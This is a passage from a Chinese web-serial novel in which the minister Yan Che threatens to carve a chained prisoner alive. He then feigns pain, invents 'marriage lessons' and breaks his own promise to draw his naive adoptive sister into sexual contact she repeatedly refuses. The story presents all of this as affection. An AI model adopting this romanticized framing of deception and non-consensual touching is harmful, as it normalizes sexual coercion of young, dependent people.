混合着血沫的唾液从嘴角溢出,整张脸因仇恨和痛苦而扭曲。 颜彻仿佛没听见那声嘶力竭的诅咒,微微调整了下坐姿,墨色袍摆如水般滑落。 “从本官踏入扬州城的第一日起,你就像阴沟里的老鼠,无时无刻不黏在本官身后。” “你费尽心机,不就是为了这一刻么?怎么,锁链太重,让你爬不过来了?还是你那点可怜的血性,早在你爹喉咙冒烟的时候,跟着一起烧成灰了?” 他苍白的脸上浮现一丝近乎天真的疑惑。 韩烨的嘶吼被这极致的羞辱噎住,只剩下喉咙里嗬嗬的的喘息。 怨毒的目光几乎要化为实质的火焰将颜彻烧穿。 颜彻重新靠回椅背,姿态更加放松。 “像你这样的货色,原不配入本官的眼,更不配浪费本官片刻心神。” “可你伤到了我的妹妹,就凭这一点,本官便不能让你死得太痛快。” 他看向小几上那碟晶莹剔透的玉脍生辉。 “你父亲念念不忘的玉脍,你说,若是以你身上最鲜嫩的活肉,依古法精心炮制……” 他微微一笑:“本官倒是颇有兴致一试。” 韩烨的瞳孔瞬间放大到极致,发出了一声非人的惨嚎。 颜彻却已不再看他,拂袖而去。 “好生伺候。” “是,大人。” * 翌日,颜彻倚在书房的紫檀木榻上,翻看着宝应县官员的卷宗。 宝应县县令和盐运使在颜彻的手段下,对罪行供认不讳,并供出了一大批官员。 他翻看着那些名单,神色平淡。 下人来报:“大人,扬州知府邓大人求见。 “请他进来。“ “是,大人。” 邓钟岳得知颜彻在他治下遇刺,且刺客还是他之前处置的韩家余孽,早已吓得魂飞魄散,几乎马不停蹄赶了过来。 一进门,他噗通跪倒在地,额头磕得砰砰作响,连称死罪。 “下官罪该万死,未能查清韩家余孽,致使大人千金之躯险遭不测!下官万死难辞其咎!求大人责罚!” 知府的声音抖得不成样子,后背的冷汗已将官袍浸透。 颜彻缓缓睁开眼,目光平静地落在知府抖如筛糠的身上。 他没有立刻发作,反而沉默不语。 这沉默比任何斥责都更让知府肝胆俱裂。 就在邓钟岳眼前发黑,几乎要瘫软在地时,颜彻淡淡开口。 “此事的确的你的疏漏,扬州府难辞其咎,不过——” 他话锋一转:“也不能全然怪罪于你。锦衣卫诏狱押解韩氏重犯,竟也出了纰漏,让这韩烨得以潜逃,他们罪责更重。” 知府猛地抬头,简直不敢相信自己的耳朵! 大人这是在……为他开脱? “起来吧。” 颜彻的声音听不出喜怒。 “此事本官自有分寸,你且下去,用心办差,将功折罪。” “是!是!谢大人恩典!谢大人恩典!” 知府如蒙大赦,又重重磕了几个头,几乎是连滚爬爬地退了出去。 心中对这位喜怒无常、手段通天的颜大人,几乎是敬畏到了极点。 送走知府,颜彻揉了揉眉心。 如今扬州不能没有人主事,只能暂且留这个邓钟岳为他做事。 至于之后…… 颜彻闭上了眼。 他不喜欢干事拖泥带水的人。 正欲闭目养神片刻,房门“砰”地一声被推开。 令颐像一阵小旋风般冲了进来。 她一眼看到脸色苍白如纸的哥哥,秀气的眉头一下子皱了起来。 “哥哥!你怎么又不歇着了?赵管家说你刚才还见了人,你伤得那么重,就不能好好躺着吗!” 她快步走到颜彻身边,不由分说地就去扶他的手臂,想把他按到床上休息。 颜彻握住她伸来的手腕。 他的掌心因失血而微凉,力道却不容小觑。 令颐纤细的手腕被他圈住,肌肤相贴处传来清晰的温度差。 “无妨。” 他看着她焦急的小脸,声音放软了些。 “只是小事,已处理完了。 “小事?都伤成这样了还是小事!” 令颐不依,另一只手也伸过来拉哥哥。 倾身靠近时,发间淡淡的馨香混着少女的体息拂过颜彻的鼻端。 他握着她手腕的手指微微收紧,眼眸一暗。 就在这时,大夫提着药箱走了进来。 “大人,该换药了。” 颜彻这才松开令颐的手腕。 令颐一听说要换药,赶忙小心翼翼搀扶着他走进里间,安置在柔软的床上。 大夫解开层层绷带,露出颜彻肩头狰狞可怖的箭创。 令颐神色瞬间紧张起来,小脸皱成一团。 大夫开始清理上药,颜彻的眉头一点点蹙起。 药膏触上伤口的一瞬,他喉间溢出一声痛楚的闷哼,身体也几不可察地绷紧了一下。 冷汗从他额角渗出,沿着下颌滑落。 “哥哥!” 令颐的心猛地揪紧,泪水在眸中打转,恨不得替他去受这份苦。 老大夫手上的动作顿了顿。 他带来的金疮药乃是特制,药性温和,且有极好的 镇痛之效。 况且以这位颜大人的心性定力和异于常人的痛觉识钝,这点换药的刺激,按理不该让他如此失态。 他不动声色,手上动作依旧轻缓。 “姑娘可要仔细看顾着些,大人这伤,创面深及筋骨,换药时牵动皮肉,最是难熬疼痛。” “姑娘若能在旁多加抚慰,或可稍解大人之苦楚。” 令颐用力点头,声音带着哽咽:“我记住了,我一定好好照顾哥哥!” 老大夫换好药,重新包扎妥当,恭敬地退了出去。 门外,一直候着的赵福忠低声叫住了他。 “大夫留步。” 老大夫躬身:“赵总管有何吩咐” “不知大夫如何称呼?” “老朽姓段,是宝应县人士,行医已有二十多年。” “二十多年,难怪段大夫医术如此高明。” 赵福忠脸上露出一丝心照不宣的笑意:“大人吩咐了,段大夫这几日治伤有功,做得很好,大人有赏。” 段大夫心中明白,他哪里是医治有功,分明是会察言观色。 他心中一喜,面上却惶恐道:“不敢不敢,都是老朽份内之事,当不得大人赏赐。 “诶,大人说赏,便是该赏。” 赵福忠不容分说,示意手下将段大夫带下去领赏。 屋内,只剩下颜彻和令颐两人。 令颐坐到床边,小手轻轻覆在颜彻那只未受伤的手上。 “哥哥,还疼得厉害么?” 颜彻闭着眼,长长的睫毛在眼下投下一小片阴影。 他将令颐的小手完全包裹在自己宽大的掌中,指腹在她细腻的手背上轻轻摩挲。 声音低哑:“疼,疼得有些受不住了。” 这示弱的话语,像一根羽毛播刮在令颐的心尖上。 她想起之前谷底事,亲吻似乎能缓解哥哥的痛苦。 没有丝毫犹豫,她微微倾身,双手小心翼翼地捧起颜彻俊美苍白的脸庞。 她的动作带着少女的青涩,柔软的唇先是轻轻印在他微凉的额角,带着安抚的意味。 接着,轻柔落在他的眉心,试图抚平那紧蹙的痕迹。 然后,鼻梁,薄唇。 或许是连日来的亲密接触,或许是心底那份懵懂情感的悄然滋长,她的唇停留的时间稍长了些,带着一种不自知的缠绵。 甚至无意识地、极其轻微地吮吸了一下他唇瓣的轮廓。 颜彻的呼吸骤然一沉。 在她即将退开的瞬间,他的手猛地抬起,有力地扣住了她的后脑勺,加深了这个由她主动开始的吻。 他的唇不再是被动承受,而是带着一种灼热的、强势的引导。 令颐嘤咛一声,身体微微发软,却只能被他引导着,小心翼翼回应。 良久,颜彻才松开她些许。 他的气息有些不稳,深邃的眼眸中翻滚着浓稠的暗色。 “妹妹的吻技,似乎娴熟了些。” “哥哥!” 令颐双颊绯红,娇嗔道。 她气息微喘,水润的眸子羞怯地不敢看他,只觉被他吻过的唇和被他手掌覆盖的后颈都烫得惊人。 就在这时,颜彻忽然又蹙紧眉头,发出一声压抑的痛哼,身体似乎因疼痛而绷紧。 “哥哥!” 令颐慌忙问道:“还这么疼吗?我、我要怎么做才好?” 颜彻缓缓睁开眼,那双深不见底的凤眸牢牢锁住她潋滟动人的小脸。 “怎么做?” 他目光缓缓下移,掠过她因方才亲吻而微微凌乱的衣襟领口。 那里,露出一小段细腻白皙的颈项和精致的锁骨。 他没有回答她的问题,轻轻抚上她滚烫的脸颊,指腹摩挲她细腻的肌肤。 “妹妹今日的小衣,是什么颜色的?” 声音低沉,带着一丝蛊惑的沙哑。 第53章 第53章“堂堂首辅竟然钻小姑娘…… 令颐看着哥哥,睁大了眼睛。 她完全没有预料到这样的问题,只觉得脸上更烫了。 结结巴巴地小声回答:“还是,上次那件……粉、粉色的。” “好。” 颜彻玩味一笑,像是生出什么坏念头。 可他长得实在温雅,让人觉得不该恶意揣测他。 “记得你小的时候,那些贴身的衣服都是哥哥亲自挑的。料子要最柔软的细棉,颜色也都是些娇嫩的颜色。” 他的目光缥缈起来,陷入了回忆。 “那时我们刚从京城逃回彬江,宅子里空空荡荡,只有我们兄妹二人相依为命。” “冬夜里冷得刺骨,你总蜷在哥哥怀里,抓着哥哥的衣襟才能睡着。” 令颐的心仿佛被击中,酸酸软软的暖流涌上心头。 “是,哥哥那会最疼我了,什么好吃的好用的都先紧着我。” “现在我和哥哥再也不会挨冻啦。” 那是他们生命中最艰难也最亲密的时光,是刻在骨髓里的相互依存。 颜彻的目光重新聚焦在她脸上,专注得令人心悸。 他总是避免和人视线接触,很少专注看什么东西。 但是,一旦被他盯上,绝无生还可能。 “令颐,我们是这世上最亲密的兄妹。血脉虽不相连,却是骨肉相依。” “这样的亲密,即便是寻常夫妻也未必能及。“ 他身子微微前倾,抵住她的额头。 气息几乎拂过她脸颊,带着灼热的温度。 她缩起脑袋,不敢看他近在咫尺的脸颊。 颜彻道:“若说体验夫妻之道,这世上,没有谁比我们更合适彼此。” 令颐被他话语中浓烈的情感包裹,浑身酥麻发颤。 她觉得哥哥的话里有一些她看不透的东西。 可她说不上来,懵懂地觉得哥哥是在认真教导她,帮她完成所谓的夫妻课程。 她红着脸小声问:“那,哥哥,要怎么做?” 颜彻眸色更深,将她拥在怀里。 “像小时候那样,靠在哥哥身边,陪哥哥说话就好。” 他的手臂从她身后环了过来,将她娇小的身躯搂进怀中,抱着躺下。 隔着薄薄的衣衫,她能清晰地感受到他微凉的体温和沉稳的心跳。 还有一丝淡淡的药味,混合着他身上冷冽的气息。 “妹妹还记得吗,那次也是秋天,你把我珍藏的古画翻了出来,在上面画了一只老虎。” “那幅画的作者是个脾气古怪的老学究,知道此事后大发雷霆,结果一见到粉雕玉琢的你,愣是一句狠话都没说出来。” 令颐噗嗤一笑,撒娇道:“哥哥!” 就在她心神松懈之时,那只环在她腰间的大手开始有了细微的动作。 起初只是指尖隔着薄薄的衣衫,若有似无地摩挲着她纤细的手臂。 接着,手指沿着她的手臂,一点一点、极其缓慢地向上游移,探向她腋下的方向。 然而,少女秋衫袖口收束得恰到好处。 指尖在触碰到腋窝边缘那层紧密的布料时,受到了阻碍。 颜彻的动作顿了一下。 他并未强行突破,只是在她敏感的腋窝边缘轻轻刮了一下,引得令颐身体微颤。 “哥哥!不要挠我……” 她咯咯笑了起来,娇嗔制止颜彻的动作。 颜彻笑了声,继续方才的话题,仿佛刚才试探性的动作从未发生。 可那只不安分的手,悄然改变了路径。 它不再执着于上方,而是顺着她柔软的腰侧曲线,向下滑落。 宽大的手掌带着灼热的温度,隔着薄薄的裙料,引起一阵细微的战栗。 带着一种不容置疑的意图,试图从她裙摆的下缘悄然潜入。 然而,裙裾边缘同样被收束得严密,指尖再次碰壁。 他眸色一黯。 “妹妹今日这身衣服颇有风骨,处处与哥哥作对呢。” 令颐被他话语中的暗示和那两次受阻的探索弄得心跳如鼓,脸颊滚烫。 “不、不关令颐的事,是侍女准备的……” 她羞窘得几乎缩成一团:“要不……算了吧哥哥……” 颜彻没有表态。 他用鼻尖轻轻蹭了蹭她的发顶,转而说起另一件往事。 她十岁生辰那年,他费尽心思寻来一株罕见的月下美人,陪她守到深夜,只为看那昙花一现的盛景。 简单几句话,轻易就将令颐的注意力重新拉回那些温暖的画面中。 身体也再次放松下来。 就在令颐完全沉浸在他编织的温柔回忆里,心神恍惚之际,颜彻突然噤了声。 “怎么了哥哥?” 颜彻没说话,猛地一拉身上盖着的锦被。 厚重的丝绸被褥如同幕布般瞬间扬起、落下,将两人完全笼罩在了一片狭小的黑暗之中。 “这样,最管用。” 低沉的声音里是某种得逞的满足。 在密闭的空间响起,显得格外清晰滚烫。 …… 此时,赵福忠将沉甸甸的赏赐分发给段大夫,言语间透露出颜彻对他的赏识和提拔之意。 段大夫躬身道谢:“多谢赵总管,颜大人和姜姑娘的恩泽,老朽铭记于心。” “若总管大人不嫌弃,老朽有一物献给大人。” 说罢,他捧出一个檀木小箱。 箱身精致,上面覆盖着锦缎。 “老朽还备了些旁的药,若大人日后用的上,便是老朽的福分。” 他顿了顿,压低声音补充:“只是,需得大人身子骨彻底将养好了,方能用得。” 赵福忠听他这么一说,好奇掀开锦缎一角往里看去。 只见箱内放置着一些形态各异的瓶瓶罐罐,小巧精致,颜色鲜明。 甚至还有几件造型奇巧的物件,用途不明。 待他明白过来这些的做什么的,心中已经不能用惊讶来形容了。 这老小子也太会投其所好了吧! 段大夫适时道:“都是老朽多年行医,从各处收集来的秘方,保管比宫里的还安全好用。” 赵福忠“咳”了一声,默默收起箱子。 他拍了拍段大夫的肩膀:“行,段大夫有心了。以后大人的贵体安康,可就要多多仰仗大夫了。” 段大夫明白他这话的意思,是已经同意以后跟着颜彻做事了。 他赶紧道:“赵总管放心,老朽定当竭尽全力。” …… 屋内,小姑娘侧躺着,紧紧拉被子裹着自己。 整个人蒙在被子里,恨不得把自己埋起来。 颜彻侧卧在旁,看着这羞窘可爱到极致的小人儿,笑容带上几分愉悦。 手搭上她的腰,试图将那裹成蚕茧的人掰转过来,面向自己。 “怎么了小令颐?” 他少有地如此亲密唤她,指尖隔着锦被轻轻摩挲:“可是恼了哥哥?” 被子里的人儿扭了扭,努力从方才的刺激中缓过来。 半响,她才从被子里探出半张小脸。 眼睫上还沾着湿气,水汪汪的眸子带着控诉。 目光触及他那张形状优美、此刻却显得格外可恶的唇。 就是这个罪魁祸首,让她又痛又麻呜呜! “以前明明只是亲亲嘴就可以的……” 小姑娘的话都带了哭腔,一副被欺负狠了的模样。 她觉得哥哥的教导一次比一次猛烈,她快要招架不住了。 “哥哥好歹也是首辅大人,怎么这样钻小姑娘被窝欺负人呀?” 颜彻好言好语地哄着,说那是在帮她适应,是必经之路。 令颐却怎么都不依。 “不听不听,哥哥骗人!呜……” 僵持间,门外传来侍女恭敬的通禀声。 “大人,姑娘,晚膳已备好。知府大人特意设宴,为大人和姑娘压惊赔罪。” 颜彻:“知道了。” 他垂眸看向一旁小鼓包,温声问:“令颐可要去用些?听说宝应县的是蟹粉狮子头甚是有名。” 被子里的小脑袋动了动。 过了几息,锦被边缘被悄悄扒开一条缝,露出那双大眼睛。 “……去嘛。” 声音软糯糯的,带着点撒娇。 颜彻故意逗她:“哦?不生哥哥的气了?” 令颐小脸一红,理直气壮反驳:“吃饱了才有力气接着生气!” 她掀开被子下榻,整理好微乱的寝衣。 走到房门,才发现颜彻依旧慵懒地斜倚在床头,丝毫没有起身的意思。 “哥哥?” 颜彻唇角勾起一抹意味深长的坏笑,目光在她身上流转。 尤其是,在她胸前停留了一瞬。 “妹妹先去,哥哥还想回味一下方才的手感。” 他刻意放慢了语速,眼神像带着钩子。 令颐瞬间从脸颊红到了耳根。 “哥哥你、你就是欺负人!” 她羞得跺了跺脚,捂着脸“噔噔噔”跑出了房间。 留下屋内男子一人,温柔缱绻看着她慌乱的背影。 * 处理完宝应县的事后,颜彻等人启程回扬州。 因着遇刺的事,返程的护卫比来时森严数倍。 宽阔的运河上,数艘高大坚固的官船拱卫着主船,亲兵林立,甲胄鲜明。 主船甲板上,令颐踮着脚尖,努力想看清远处如画的山水。 奈何她身形娇小,视线总被那坚实的船板阻隔。 她左右张望了一下,目光落在旁边一位站得笔挺的年轻士兵身上。 “大哥哥,能劳烦你帮我搬个箱子过来么?我想看看外面。” 她的大眼睛忽闪忽闪,盛满了期待。 那士兵原本一脸肃杀,骤然被这娇俏如精灵般的少女搭话,瞬间闹了个大红脸,局促得手脚都有些僵硬。 他不敢直视令颐,慌忙应道:“是、是,姑娘稍等!” 他飞快搬来一个木箱放在船舷边,还用袖子擦了擦。 “谢谢大哥哥~” 令颐眉眼弯弯,甜甜地道谢。 她扶着船舷,轻巧地踩了上去。 视野豁然开朗。 浩渺烟波铺展在眼前,两岸青山如黛,缓缓向后退去。 她扶着栏杆,安静地眺望着这壮阔而安宁的景致。 然而,秀气的眉头却在不自觉间微微蹙起。 这几日,她心底总有一片小小的疑云,挥之不去。 她忽然想起在谷底,哥哥拔箭时的模样。 那张俊美无俦的脸上,交织着极致的痛苦与一种近乎癫狂的兴奋。 他眼神里燃烧的东西,幽暗、炽烈,带着一种毁灭性的、让她感到陌生的力量。 哥哥在人前总是温文尔雅,从容不迫,如高山雪松,清冷自持。 可那一刻爆发出的姿态,绝不寻常。 小姑娘蹙起了眉。 她觉得,自己是不是……并不了解哥哥。 她这么想着,扶着栏杆的手不自觉收紧。 第54章 第54章“放心,我不碰你”…… 船靠码头,换乘马车。 车厢平稳地行驶在扬州城外的官道上,令颐掀起车帘一角,神情一怔。 官道两旁,三三两两聚集着衣衫褴褛、面黄肌瘦的流民。 他们或倚着树,或席地而坐,瞧着非常可怜。 孩童细弱的啼哭声断断续续传来,令颐甚至从一些人的口音中,隐约听出了彬江的口音。 “赵管家。” 她对坐在马车前驾车的赵福忠唤道。 “您看那些人好生可怜,我们能不能帮帮他们?” 她指着路边几个眼巴巴望着马车的 妇孺。 赵福忠顺着她的目光看过去,恭敬回道:“姑娘慈悲心肠,今年江淮闹旱灾,流民确实比往年多些。” “此事扬州知府已向大公子详细禀报过了,大公子心系民生,早已着手派人核查灾情,调拨钱粮,设立粥棚,正有序安置流民。” 见令颐仍蹙着眉,他补充道:“姑娘既不忍,老奴这就安排人就近买些热食分给他们。” 说罢,赵福忠抬手示意。 随行护卫中立刻分出几人,策马向官道旁的集镇奔去。 不一会儿,他们便带回几大包馒头和饼子,分发给眼巴巴围拢过来的流民。 拿到食物的流民千恩万谢,浑浊的眼中终于有了一丝光亮。 小姑娘开心起来,对赵福忠道:“若有什么需要我帮忙的,只管跟我说。” 赵福忠对自家姑娘也一向宠溺,笑道:“是,二姑娘。” * 回到扬州后,颜彻并未因伤势而懈怠。 他开始清理积压的几桩大案,那些在宝应县勾结、失职,或是平日里盘踞一方、鱼肉百姓的蠹虫,都被他毫不留情地揪了出来。 该追责的,该惩治的,一个都没放过。 令颐也没闲着。 她主动跟着扬州知府衙门的官员,到粥棚为那些灾民施粥。 几日下来,她白皙的小脸晒得微红,纤细的手臂端着沉重的粥勺也有些发酸。 但小姑娘不嫌累,看着那些眼中重燃一丝希望的妇孺,她便觉得一切都值得。 这日傍晚,夕阳熔金。 令颐刚沐浴更衣,颜彻缓步走了进来。 他肩头的伤处已不再明显影响他的仪态,竹青色常服衬得他面色虽仍有几分苍白,却更添清贵之气。 他走到令颐身边,目光落在她带着倦意的小脸上。 “令颐,明日酉阳湖有场盛会,扬州各界名流、士绅商贾乃至文人墨客皆会到场。” 他语气闲适:“这次的盛会比那些刻板的官宴有趣得多,也热闹得多,可想随哥哥去散散心?” 令颐眼睛立刻亮了起来。 在宝应县担惊受怕,回来又忙着布粥,她确实很久没放松过了。 “去!当然要去!”她雀跃着回答。 颜彻眼底掠过柔光:“好,那就去放松一下。” 他抬手,指尖极其自然地掠过令颐额前一缕被风吹乱的发丝。 “毕竟,这段时间。” 他目光若有似无地扫过她纤细的颈项和微微起伏的胸口,语气变得意味深长。 “也辛苦你了。” 这眼神和语气,立刻让令颐想起了她“辛苦”的缘由! 这段时间,哥哥养成了坏习惯,每次换药后都要拿她纾解。 尤其是,喜欢拿她的胸…… 她想起那些羞耻的画面,小脸腾地一下红了,条件反射般双手交叉护在胸前。 “哥哥,说好了去玩的!你不能再欺负我了!” 小姑娘杏眸圆睁,恼怒控诉。 颜彻并未直接应答,凤眸里笑意流转。 仿佛在说:这可由不得你。 这几次,这个小丫头对猛烈教导心有余悸,总能找到各种理由推脱与他独处。 不是要去布粥,就是乏了要早早歇息,再不然就是拉着侍女研究明日赴宴的衣裙钗环。 她那点小心思,根本逃不出颜彻的眼睛。 几日未曾亲近,那温香软玉在眼前晃来晃去却不得。 颜彻自诩自制力极强,可这次,他心底的燥意怎么也压不下去。 * 几日后的酉阳湖上,盛况空前。 湖心灯火辉煌,停泊着一艘巨大画舫,宛如宫殿。 周围环绕着一圈同样精致华丽、缀满鲜花彩绸的花船,丝竹管弦之声从各处飘来。 舟楫穿梭,载着盛装的宾客络绎不绝地登舫。 宴会设在画舫顶层开阔的平台上。 令颐刚一踏进,便被眼前的景象迷住了。 她坐在颜彻身侧主宾之位,津津有味品尝桌上精致的扬州菜。 水晶肴肉,玉板鲊,山家三脆,尤其那道应季的橙酿蟹橙香馥郁,蟹壳金黄,攞开便是满壳肥美流油的蟹黄,好吃的眉毛都掉了。 她一边用小银勺舀着蟹美肉,一边欣赏着台上的水袖舞,开心得小腿来回晃悠。 席上,扬州知府及一众官员自然是极尽谄媚之能事。 他们纷纷举杯向颜彻敬酒,言辞间皆是歌功颂德、感恩戴德。 颜彻端坐主位,面色平静无波,对众人的吹捧只是淡淡颔首,偶尔举杯浅啜,回几句场面话。 既不显得热络,也不失礼数,那份疏离的清贵气度令人不敢造次。 他的目光,更多时候是落在身旁的令颐身上。 见她吃得开心,他拿银箸仔细剔掉清蒸鲥鱼的细刺,将雪白鲜嫩的鱼肉放入她面前的碟中。 “慢些吃,小心刺。” 令颐嘴巴塞得满满的,瓮里瓮气道:“谢谢哥哥!” 趁着令颐专注于美食的间隙,颜彻侧首吩咐侍立身后的赵福忠:“将寝屋收拾妥当,按小姐平日的喜好布置。” 赵福忠心领神会,恭敬应道:“是,大人,老奴省得。” 宴席持续三日,散去时已是华灯初上。 令颐玩得尽兴,也着实有些累了。 她问一旁的侍女:“我的房间收拾好了吗?” “回姑娘,收拾好了,按照姑娘和大人的习惯,安排到一间寝屋。” 令颐的小脸顿时垮了下来,不情愿看向颜彻。 颜彻恰好走到她身边,闻言,微微俯身,薄唇几乎贴着她的耳廓。 用只有两人能听到的低沉嗓音道:“别担心,今日人多眼杂,不适合教学。” 温热的气息拂过她敏感的耳垂,带着暧昧的暗示。 “今晚只抱着你,什么都不会做。” 令颐耳根一热,半信半疑瞥了他一眼。 最终还是被倦意占了上风。 想着反正哥哥说了不适合,便也只好作罢,跟着侍女去寝屋了。 房间果然收拾得整洁雅致,熏着淡淡的安神香。 一进门,令颐的目光就被临窗圆桌上放着的一个东西吸引住。 那是一个约莫一尺见方的漆木箱子,材质上乘,雕工繁复精美,镶嵌着螺钿和宝石,在烛光下流光溢彩,华美异常。 与寝屋内清雅素净的陈设相比显得格格不入,甚至带着一丝突兀的妖异感。 “咦?这是什么?” 令颐好奇地走过去,伸手想碰。 “等下。” 颜彻却比她动作要快,高大的身影挡住她。 “见到陌生物件,不要急着上手。” 令颐想起两人在宝应县遇刺的事,赶紧往后退。 颜彻拿出一柄折扇,用扇柄轻轻一挑,将那箱子的铜扣掀开。 箱子里是一些瓶瓶罐罐类似药罐的东西,还有一些造型奇特的用具。 “哥哥,里面是什么啊?” 颜彻不动声色:“不是什么要紧东西。” 令颐不解,伸着脑袋要往里看,颜彻却将箱子合上了。 “不是你现在用得上的东西,小孩子别问那么多。” 他合得极快,然而,令颐的目光还是捕捉到了其中一样东西。 那样东西她还是认得的。 那是,祝师姐带她去买的那样东西…… 她的脸腾地一红,结结巴巴问:“为什么……会有这些东西啊?” 她现在已经不是完全懵懂,大概知道了一些东西的用途。 “许是此处时常招待宾客,三教九流,男女皆有,下人收拾时疏忽忘了取走这些东西。” 令颐低低地“嗯”了一声,此刻只觉得无比尴尬,恨不得找个地缝钻进去。 他扬声唤人:“来人。” 赵福忠应声而入,颜彻指了指箱子:“拿走,搁到看不见的地方去。” “是,大人。”赵福忠认出了箱子来历,眼神微闪。 他不敢多言,立刻上前捧起那箱子,躬身退了出去。 …… 夜深人静。 两人洗漱完毕,换上寝衣。 令颐见颜彻神色平静,刚躺在枕头上便阖上了眼,眉宇间带着一丝倦意。 确实是一副心无旁骛、只想安寝的模样。 她悬着的心稍稍放下,想着今晚哥哥大概真的累了,不会欺负她了。 她松了口气,乖乖爬上床里侧,将自己裹进柔软的被子里。 只露出一双眼睛,偷偷观察着颜彻的侧影。 然而,这份安宁并未持续多久。 就在令颐迷迷糊糊,快要坠入梦乡之际,隔壁房间传来一阵异样的声响。 起初是女子娇滴滴的撒娇声,软糯甜腻。 “郎君,今儿晚上,可要怜惜奴家些嘛~” 带着江淮特有的吴侬软语,透过不甚隔音的墙壁,清晰地钻入了她的耳膜。 接着是一个男子刻意压低、带着诱哄意味的声音。 “乖,心肝儿,莫怕……” “我今晚保证不碰你,就抱着睡,好不好?” 令颐:“……” 仿佛一盆冷水兜头浇下,她瞬间睡意全无! 没过多久,一阵富有节奏的“吱呀……吱呀”声便透过并不十分隔音的墙壁传了过来。 伴随着女子时断时续的细吟。 那声音仿佛带着某种实质的热度,丝丝缕缕缠绕上来。 令颐浑身不自在,像有千万只蚂蚁在爬。 就在这时,身旁的颜彻缓缓睁开了眼。 他没有惊动几乎要缩成鸵鸟的令颐,披上外袍,走到门边,轻微击了两下门框。 一直守在门外值夜的赵福忠立刻无声地推门而入。 “旁边是何人?” “回大公子,是知府衙门的陈大人。” 颜彻没说话。 隔壁那令人尴尬的声响若有若无地飘了过来。 赵福忠心领神会,立刻躬身:“扰了大公子的清净,是老奴失职。大人请安歇,老奴这就去解决。” 颜彻微微颔首,补充道:“陈大人近日为公务操劳,想必精力有所不济,将我那匣上好的金丝燕窝送过去。” “就说本官体恤下属辛劳,嘱他务必趁热,一滴不剩地喝完,好好补养精神。” 赵福忠瞬间明白了主子的用意。 “是,大公子,老奴这就去办,定让陈员外感受到大公子的关爱。” 他悄无声息地退了出去,执行这送温暖的任务去了。 颜彻这才慢条斯理地走回床边,重新躺下。 房间内重归寂静,隔壁那恼人的声响果然在片刻之后,夏然而止,陷入了一种诡异的安静。 令颐埋在被子下的小脸早已红透,尴尬又羞窘。 颜彻道:“睡吧,没人再打扰了。” 令颐紧绷的神经终于松懈下来,调整了下姿势,准备真正安心入睡。 然而,就在她意识再次朦胧之际,一具带着清冽气息和不容忽视热度的身体,无声无息地贴了上来。 颜彻从背后将她整个儿圈进怀里,胸膛紧贴着她的脊背。 骨节分明的大手,悄然滑入她的衣襟下摆,缓缓向上探索。 令颐浑身一颤,睡意再次被驱散殆尽。 她扭动着身体,试图挣脱那滚烫的桎梏,声音娇嗔又委屈:“哥哥!你方才说了,不碰我的!” 跟隔壁那人一样都是骗人的! 黑暗中传来颜彻低哑的轻笑。 他非但没有停下,反而收紧了手臂,将她禁锢得更牢。 “是说了不碰你。” 他的声音低沉醇厚,带着一种令人心颤的磁性。 “可哥哥何时说过,不能教导你?” 话音刚落,他膝盖微屈,将她双腿压制在身下。 第55章 第55章“不是兄长,是夫君”…… 隔壁房间内。 陈大人瘫坐在凌乱的床榻上,擦了擦额头的虚汗。 面色灰败,整个人如霜打的茄子般萎靡不振。 被逼着喝了几大盅滚烫的金丝血燕,非但没能让他重振雄风,反而让他彻底一蹶不振了。 都是被颜大人吓的,也不知道哪个遭瘟的把他跟这尊神安排在一处,他跳湖的心都有了。 一旁的美人香肩微露,满脸委屈。 她正情热如火,却被这突如其来的冷却弄得不上不下,委屈得眼圈都红了。 她娇声抱怨:“郎君,这这算怎么回事嘛!人家正兴致高昂呢……” “哎呦快闭嘴吧!” 陈大人吓得魂飞魄散,一把捂住她的嘴。 “祖宗你小声点!要是还想让你郎君我多活几天,就一个字都别提了!” 美人不情不愿地“哦”了一声,满腹幽怨地拢好衣衫。 两人正打算秉承君子之道,相安无事地躺下度过后半夜。 谁知,一阵极其细微的声音透过墙壁钻了过来! 是女子细弱、压抑、带着泣音的呜咽声。 “呜……哥哥……不要……” 接着是布料摩擦、轻微挣扎的窸窣动静。 然后,是男子低沉、粗重、充满侵略性的喘息声。 还有,隐隐约约的、令人面红耳赤的动静…… 美人瞬间瞪大了眼,惊愕捂住嘴。 “这……颜大人他不还是一样?” 她甚至觉得,比他们刚才刺激多了。 “我的姑奶奶哟!!” 陈大人仿佛听到了催命符,吓得三魂七魄都飞了! 他一把抓住美人的胳膊,声音抖得几乎劈叉:“这是咱们能听的吗?快走!赶紧离开这鬼地方!” 美人被他扯得踉跄:“这深更半夜的,所有房间都住满了,能去哪儿啊?” “去哪儿?!” 陈大人急得如同热锅上的蚂蚁,目光惊恐地扫过紧闭的房门,又绝望地望向窗外黑沉沉的湖水。 “跳湖里也比待在这儿强!快走!再听下去,明天咱们的脑袋就得搬家了!走!!” 他几乎是连滚爬带地拖起美人,也顾不上衣衫不整,仓惶逃离了这间不祥的客房。 …… 翌日清晨,阳光柔柔洒在床上。 令颐悠悠转醒,意识尚未完全清明,身体却先一步感知到了异样。 仿佛昨夜的风暴并未完全平息,在肌肤之下潜伏着余波。 她身上好几处还残留着麻痒,唇舌胀热着,时刻提醒着她昨夜的“教导”是何等令人神魂颠倒。 正此时,颜彻已梳洗完毕,一身清贵气度,缓步走到床边坐下。 手中拿着一盒碧玉小罐,散发着清冽的药香。 “醒了么?” “哥哥给你擦点药膏,消消痕,好得快些。 他伸手想掀开她的被子,小姑娘顿时像受惊的小兔子,猛地裏紧被子滚到床榻里侧。 “不要,哥哥走开!我不想再来一次了!” 她拼命摇着小脑袋,声音还带着昨夜未散的哭腔。 那眼神,活像看一个恶狼。 她就不明白了,哥哥怎么那么喜欢自己的身体,尤其是,那两处…… 又是用手又是用嘴的,太过分了! 颜彻看着她这副惊弓之鸟的模样,眼底掠过餍足又愉悦的笑意。 他不再勉强,只是将药膏放在床头小几上,温声道:“那药膏放着,若觉得不适,记得找侍女给你擦。” 令颐“唔”了一声,不情愿答应了。 早膳设在船舱雅间,窗外是潋滟湖光。 令颐小口小口喝着粥,眼观鼻鼻观心,努力不去看对面那个气定神闲的男人。 颜彻神色自然,仿佛昨晚的事从未发生。 他姿态优雅用着膳,目光偶尔扫过令颐泛着粉色的耳廓。 “令颐,哥哥待会儿要去见几个地方上的官员议事,你且在船上自己玩会儿。” 令颐轻轻“嗯”了一声,依旧低着头。 颜彻凤眸中漾起一丝戏谑的涟漪。 “若是无聊了,不妨看看你之前放在哥哥那里的小册子。” 令颐往嘴里夹菜的动作骤然顿住。 颜彻继续补充:“那些册子我帮你筛选了一遍,都是姿势精妙,图文并茂的。多学学,总是好的。” 